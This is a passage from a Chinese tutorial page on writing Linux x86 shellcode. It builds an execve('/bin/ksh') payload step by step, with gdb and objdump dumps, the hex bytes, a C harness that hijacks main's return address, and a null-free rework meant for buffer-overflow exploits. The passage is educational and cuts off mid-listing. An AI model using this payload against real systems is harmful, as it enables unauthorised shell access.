网站首页  |  幼儿教育  |  中小学教育  |  电脑教育  |  英语教育  |  教育论文  |  家长教育 设为首页加入收藏联系投稿 
 位置: 中国教育学习网 > 电脑教育 > 程序设计 > C语言 > 正文

Linux下的shellcode书写

字号:   

i # 1 byte 3.从堆栈中弹出字符串地址到ESI中
movl %esi,0x9(%esi) # 3 bytes 4.将字符串地址拷贝到字符串后面
movb $0x0,0x8(%esi) # 4 bytes 5.将null字节放到字符串尾部
movl $0x0,0xd(%esi) # 7 bytes 6.将null长字放到字符串地址后
movl $0xb,%eax # 5 bytes 7.将0xb拷贝到EAX中
movl %esi,%ebx # 2 bytes 8.将字符串地址拷贝到EBX中
leal 0x9(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal 0xd(%esi),%edx # 3 bytes 10.将null串的地址拷贝到EDX
int $0x80 # 2 bytes 11.调用中断指令int $0x80
movl $0x1, %eax # 5 bytes 12.将0x1拷贝到EAX中
movl $0x0, %ebx # 5 bytes 13.将0x0拷贝到EBX中
int $0x80 # 2 bytes 14.调用中断int $0x80
call -0x2f # 5 bytes 2.将返回地址压栈,跳到popl处执行
.string "/bin/ksh" # 9 bytes
------------------------------------------------------------------------------

14. 观察当前堆栈

当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况
假设字符串的地址是0xbfffc5f0:

|........ |
|---------|0xbfffc5f0 %esi 字符串地址
| / |
|---------|
|  |
|---------|
| i |
|---------|
| |
|---------|
| / |
|---------|
| k |
|---------|
| s |
|---------|
| h |
|---------|0xbfffc5f8 0x8(%esi) null字节的地址
| 0 |
|---------|0xbfffc5f9 0x9(%esi) 存放字符串指针的地址 即name[0] 大小是4个字节
| 0xbf |
|---------|注: 这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序。
| 0xff | 我没有验证过,只是为了说明问题,简单的这么写了一下。
|---------|
| 0xc5 |
|---------|
| 0xf0 |
|---------|0xbfffc5fd 0xd(%esi) 空串的地址 即name[1] 大小是4个字节
| 0 |
|---------|
| 0 |
|---------|
| 0 |
|---------|
| 0 |
|---------|
| ....... |

15. vi shellcodeasm.c

为了证明它能正常工作,我们必须编译并运行它。但这里有个问题,我们的代码要自己修
改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望
执行的代码放到堆栈或数据段中,并且转向执行它,可以将代码放到数据段的一个全局
数组中。首先需要得到二进制码的16进制形式,可以先编译,然后用GDB得到我们所要的东西

int main ()
{
__asm__
("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x9(%esi) # 3 bytes
movb $0x0,0x8(%esi) # 4 bytes
movl $0x0,0xd(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x9(%esi),%ecx # 3 bytes
leal 0xd(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string "/bin/ksh" # 9 bytes
");
}

16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c

17. gdb shellcodeasm

[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048398 : pushl %ebp
0x8048399 : movl %esp,%ebp
0x804839b : jmp 0x80483c7
0x804839d : popl %esi
0x804839e : movl %esi,0x9(%esi)
0x80483a1 : movb $0x0,0x8(%esi)
0x80483a5 : movl $0x0,0xd(%esi)
0x80483ac : movl $0xb,%eax
0x80483b1 : movl %esi,%ebx
0x80483b3 : leal 0x9(%esi),%ecx
0x80483b6 : leal 0xd(%esi),%edx
0x80483b9 : int $0x80
0x80483bb : movl $0x1,%eax
0x80483c0 : movl $0x0,%ebx
0x80483c5 : int $0x80
0x80483c7 : call 0x804839d
0x80483cc : das
0x80483cd : boundl 0x6e(%ecx),%ebp
0x80483d0 : das
0x80483d1 : imull $0x0,0x68(%ebx),%esi
0x80483d5 : leave
0x80483d6 : ret
End of assembler dump.
(gdb) x/bx main+3 <-- -- -- 输入
0x804839b : 0xeb
(gdb)
0x804839c : 0x2a
(gdb)
...

如此下去即可得到完整的机器码。
但是我们不必如此罗嗦,昨天介绍过的objdump今天派上用场了:
objdump -j .text -Sl shellcodeasm | more
/main
得到如下结果:

08048398 :
main():
/home/scz/src/shellcodeasm.c:2
{
8048398: 55 pushl %ebp
8048399: 89 e5 movl %esp,%ebp
/home/scz/src/shellcodeasm.c:3
__asm__
804839b: eb 2a jmp 80483c7
804839d: 5e popl %esi
804839e: 89 76 09 movl %esi,0x9(%esi)
80483a1: c6 46 08 00 movb $0x0,0x8(%esi)
80483a5: c7 46 0d 00 00 00 00 movl $0x0,0xd(%esi)
80483ac: b8 0b 00 00 00 movl $0xb,%eax
80483b1: 89 f3 movl %esi,%ebx
80483b3: 8d 4e 09 leal 0x9(%esi),%ecx
80483b6: 8d 56 0d leal 0xd(%esi),%edx
80483b9: cd 80 int $0x80
80483bb: b8 01 00 00 00 movl $0x1,%eax
80483c0: bb 00 00 00 00 movl $0x0,%ebx
80483c5: cd 80 int $0x80
80483c7: e8 d1 ff ff ff call 804839d
80483cc: 2f das
80483cd: 62 69 6e boundl 0x6e(%ecx),%ebp
80483d0: 2f das
80483d1: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:21
("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x9(%esi) # 3 bytes
movb $0x0,0x8(%esi) # 4 bytes
movl $0x0,0xd(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x9(%esi),%ecx # 3 bytes
leal 0xd(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string "/bin/ksh" # 9 bytes
");
}
80483d5: c9 leave
80483d6: c3 ret
80483d7: 90 nop

整理shellcode如下:

eb 2a 5e 89 76 09 c6 46 08 00 c7 46 0d 00 00 00 00 b8 0b 00
00 00 89 f3 8d 4e 09 8d 56 0d cd 80 b8 01 00 00 00 bb 00 00
00 00 cd 80 e8 d1 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3

18. 验证shellcode

vi shelltest.c

char shellcode[] =
"xebx2ax5ex89x76x09xc6x46x08x00xc7x46x0dx00x00x00x00xb8x0bx00"
"x00x00x89xf3x8dx4ex09x8dx56x0dxcdx80xb8x01x00x00x00xbbx00x00"
"x00x00xcdx80xe8xd1xffxffxffx2fx62x69x6ex2fx6bx73x68x00xc9xc3";

int main ()
{
int * ret; /* 当前esp指向的地址保存ret的值 */

ret = ( int * )&ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */
( *ret ) = ( int )shellcode; /* 修改了 main() 函数的返回地址,那是很重要的一步 */
}

[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>

那说明一切都成功了!为了帮助你理解,我们还是来看看这段程序究竟做了什么:

objdump -j .text -Sl shelltest | more
/main
得到如下结果:

08048398 :
main():
8048398: 55 pushl %ebp
8048399: 89 e5 movl %esp,%ebp
804839b: 83 ec 04 subl $0x4,%esp # 给局部变量预留空间
804839e: 8d 45 fc leal 0xfffffffc(%ebp),%eax # ebp - 4 => eax
# 取了栈顶指针
# 为什么不直接用esp赋值?
80483a1: 8d 50 08 leal 0x8(%eax),%edx # eax + 8 => edx
# edx现在指向IP
80483a4: 89 55 fc movl %edx,0xfffffffc(%ebp) # edx => [ ebp - 4 ]
# 把IP的地址放入局部变量中
80483a7: 8b 45 fc movl 0xfffffffc(%ebp),%eax # ebp - 4 => eax
# eax现在保存着IP的地址
80483aa: c7 00 40 94 04 08 movl $0x8049440,(%eax) # 修改了返回地址
80483b0: c9 leave
80483b1: c3 ret
80483b2: 90 nop

19. 最后的调整

它现在工作了,但还有个小问题。大多数情况下我们都是试图overflow一个字符型
buffer,因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程
就被中止了。因此要使exploit工作,shellcode中不能有null字节,我们可以略微调整一
下代码:

有问题的指令 替代指令
--------------------------------------------------------
movb $0x0,0x8(%esi) xorl %eax,%eax
movl $0x0,0xd(%esi) movb %eax,0x8(%esi)
movl %eax,0xd(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

我们改进后的代码如下:

vi shellcodeasm.c

int main ()
{
__asm__
("
jmp 0x1f # 3 bytes
popl %esi # 1 byte
movl %esi,0x9(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x8(%esi) # 3 bytes
movl %eax,0xd(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x9(%esi),%ecx # 3 bytes
leal 0xd(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string "/bin/ksh" # 9 bytes
# 48 bytes total
");
}

[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048398 : pushl %ebp
0x8048399 : movl %esp,%ebp
0x804839b : jmp 0x80483bc
0x804839d : popl %esi
0x804839e : movl %esi,0x9(%esi)
0x80483a1 : xorl %eax,%eax
0x80483a3 : movb %al,0x8(%esi)
0x80483a6 : movl %eax,0xd(%esi)
0x80483a9 : movb $0xb,%al
0x80483ab : movl %esi,%ebx
0x80483ad : leal 0x9(%esi),%ecx
0x80483b0 : leal 0xd(%esi),%edx
0x80483b3 : int $0x80
0x80483b5 : xorl %ebx,%ebx
0x80483b7 : movl %ebx,%eax
0x80483b9 : incl %eax
0x80483ba : int $0x80
0x80483bc : call 0x804839d
0x80483c1 : das
0x80483c2 : boundl 0x6e(%ecx),%ebp
0x80483c5 : das
0x80483c6 : imull $0x0,0x68(%ebx),%esi
0x80483ca : leave
0x80483cb : ret
End of assembler dump.
(gdb)

objdump -j .text -Sl shellcodeasm | more
/main
得到如下结果:

08048398 :
main():
/home/scz/src/shellcodeasm.c:2
{
8048398: 55 pushl %ebp
8048399: 89 e5 movl %esp,%ebp
/home/scz/src/shellcodeasm.c:3
__asm__
804839b: eb 1f jmp 80483bc
804839d: 5e popl %esi
804839e: 89 76 09 movl %esi,0x9(%esi)
80483a1: 31 c0 xorl %eax,%eax
80483a3: 88 46 08 movb %al,0x8(%esi)
80483a6: 89 46 0d movl %eax,0xd(%esi)
80483a9: b0 0b movb $0xb,%al
80483ab: 89 f3 movl %esi,%ebx
80483ad: 8d 4e 09 leal 0x9(%esi),%ecx
80483b0: 8d 56 0d leal 0xd(%esi),%edx
80483b3: cd 80 int $0x80
80483b5: 31 db xorl %ebx,%ebx
80483b7: 89 d8 movl %ebx,%eax
80483b9: 40 incl %eax
80483ba: cd 80 int $0x80
80483bc: e8 dc ff ff ff call 804839d
80483c1: 2f das
80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp
80483c5: 2f das
80483c6: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:24
("
jmp 0x1f # 3 bytes
popl %esi # 1 byte
movl %esi,0x9(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x8(%esi) # 3 bytes
movl %eax,0xd(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx

上一页  [1] [2] [3] 下一页

收藏此文  |  打印  

 
  • 上一篇教程:

  • 下一篇教程:

  •   GoogLe
     
      最新推荐
  • 此栏目下没有推荐教程

  •   最近更新

      GoogLe

     
    Powered by Cn-Education.Com (c) 2005-2008 中国教育学习网 教育网站长QQ交流群60041790
    设为首页  |  加入收藏  |  版权申明  |  广告服务  |  联系我们  |  友情链接  |  网站地图  |  返回顶部 ↑